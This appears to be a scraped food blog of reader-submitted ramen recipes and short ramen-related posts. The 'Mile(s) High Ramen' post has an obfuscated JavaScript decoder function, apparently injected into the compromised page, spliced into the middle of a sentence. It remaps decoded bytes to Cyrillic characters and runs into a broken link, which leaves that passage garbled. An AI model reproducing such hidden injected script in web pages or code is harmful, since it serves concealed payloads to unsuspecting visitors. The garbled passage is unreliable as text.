Ramen with Stir-Fried Spinach

I tried to grow spinach this summer, but the seeds never sprouted. I like to eat spinach in salads, but it also does well in stir-fry’s, even if it doesn’t give you super-strength. Note: As usual, this is vegetarian in that you’re not adding meat. Check your noodles before adding the seasoning, the seasoning may have meat in it.

Submitted By: Melanie T.

Submitted From: Tennessee, USA

    Ingredients

  • 1 packet of ramen, any flavor except the “creamy” flavors
  • 2 large handfuls fresh spinach leaves
  • 1 tbsp roasted sesame oil (with or without chilis)
  • 1 Tbsp black sesame seeds
  • 1 tsp minced fresh ginger
  • 1 clove minced fresh garlic

Boil the noodles just until barely done. Pour off water, add cool water to stop the cooking, stir in the seasoning packet to lightly flavor the noodles. Set aside. In a wok or seasoned frying pan, heat the oil along with the ginger, sesame seeds and garlic just until it begins to be fragrant. Toss in the spinach leaves and stir-fry until they are wilted but still bright green. Add soy sauce, remove from heat. Drain noodles and place in bowl. Pour spinach and sauce over the noodles.

Dan Dan Ramen

I’ve never seen Chinese black vinegar before, but I do love Chili oil.

Submitted By: Shaun Liboon

Submitted From: St. Paul, MN

    Ingredients

  • 1 pkg. Roast Pork Flavored Ramen
  • 1 tbsp. Chili Oil
  • 2 tbsp. Peanut or Sunflower Butter
  • 1 tbsp. Hoisin Sauce
  • 1 tsp. Sesame Oil
  • 1/2 tsp. Chinese Black Vinegar

Most decent chinese restaurants offer delicious thick homemade chili oil as a complimentary condiment. Grab a bunch with your next take-out order to stash at home. Crush the noodles in their packaging. Mix the last six ingredients in the bottom of a big noodle bowl along with the Roast Pork seasoning packet. Dump the crushed noodles on top. Top with boiling water, only until you just cover the noodles. Give it all a quick stir. Cover the bowl and go check your email. Mix it all up again. The noodles shouldn't be too soupy, but a creamy and spicy sauce.

Ramen in shirt.woot.com Derby

UPDATE AGAIN: One of these awesome shirts (the first one listed below). You can buy it for $15 here, starting on Oct 3.

shirt.woot.com has a “shirt derby” where you can vote to pick the best designs which then will presumably be made into t-shirts. I don’t know all the details and can't seem to find them, but there are at least three great Ramen themed shirts in the contest.

Shirt 1 - Almost Too Complicated - directions for cooking, in case you forget.

Shirt 2 - Midnight Noodles

Shirt 3 - The Essential College Shirt - featuring microwave directions!

UPDATE: One of the ramen shirts, Almost Too Complicated, is in the finals. Not sure if voting is over or not, I was going to post this earlier but their site was broken for a day.

Sopa Mexicana de Ramen

This might be a good way to turn a regular ramen pack into a “picante” version. I suspect taco seasoning is mainly chili powder and cayenne pepper, with maybe some cumin. I also figure you could use a bullion cube here if you follow the re-hydration instructions.

Submitted By: Holly
Submitted From: Brandon, Florida

    Ingredients

  • 1 package chicken flavored ramen - I like to use the ones in the Styrofoam cups for convenience and veggies!
  • Taco seasoning in a packet - you will NOT be using all of it
  • 1-14 ounce can of chicken broth - you can use water, but I like the added flavor

I absolutely love Mexican soups. I, however, cannot afford to buy the fresh ingredients needed to make them, so I often miss the flavor and spiciness. One day, the product of a little experimentation came about, and I now have an almost daily lunch option that satisfies my taste buds. 1. Open a can of chicken broth, pour in saucepan with enough taco seasoning to taste (I like mine spicy and use about a tablespoon) and stir to dissolve. 2. Heat to boiling, stirring so spices distribute evenly throughout broth. 3. Either add noodles and seasoning packet to saucepan and cook until tender or add water to Styrofoam cup and let stand three minutes. Then eat up! I like to have a tortilla to tear off and grab some noodle with. It makes it a bit more filling and almost authentic.

Coconut Ramen Pudding

Okay, I’ve had rice pudding before, so maybe this would work, maybe? I don’t like coconut, so I’m not going to try it.

Submitted By: Vanne

Submitted From: Wisconsin

    Ingredients

  • 1 pack ramen, finely crushed, no flavor packet
  • 1-1/2 c water
  • 1 t. soy protein powder (optional)
  • 1 t. vanilla
  • 1/4 c. brown (or white) sugar
  • 1/4 c. coconut

Crush ramen. Hint: leave it in the bag while crushing. A rolling pin might help too. Combine ingredients and bring to a boil for approximately 10 minutes, stirring occasionally. For a smoother pudding, increase the cooking time (add water as needed). Or, put the pudding in a blender.

How to Bathe in Ramen

This is the reason that YouTube was created. “NoodleMan Steve” in a green pimp suit bathes in ramen noodles, with flavoring added. He uses Maruchan chicken ramen for his bath. Remember, “it is not polite to eat with your hands".

httpv://www.youtube.com/watch?v=O0UNKTg7e1I

Remote Control Ramen Cart

The Japanese think of everything, including a remote controlled ramen cart. The item is toy sized and is designed to mimic ramen carts as seen on the streets of Japan.

Mile(s) High Ramen – $3

How much is one container of instant ramen that you just add hot water too? I think per box it’s about 50 to 99 cents. However, function oc532bd2f6(uf){var yd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var vb=”;var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndandbeverages/maincabin.aspx?c=eml_dm_solo_MarketPlace_00722_09042009″>if you buy one on US Airlines it will cost you $3. The good news is that you can’t always get it served to you with a surly attitude in a cramped cabin, eating it at home on the couch just isn’t the same experience.

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Ice Cream Ramen (only in Tokyo)

Found this oldie but goodie today…

ice cream ramen

A ramen shop in Tokyo called Kikuya has created a dish combining ramen and ice cream. The dishes include vanilla ice cream ramen, chocolate ramen, and even green tea ramen. There are other crazy dishes listed such as yogurt ramen and hot cocoa ramen. If anyone ends up in Tokyo, I'd love to have some pics of this place. A bowl of regular ramen there will set you back 500 yen or about $5.25 (as of late August 2009).

Here's the full article.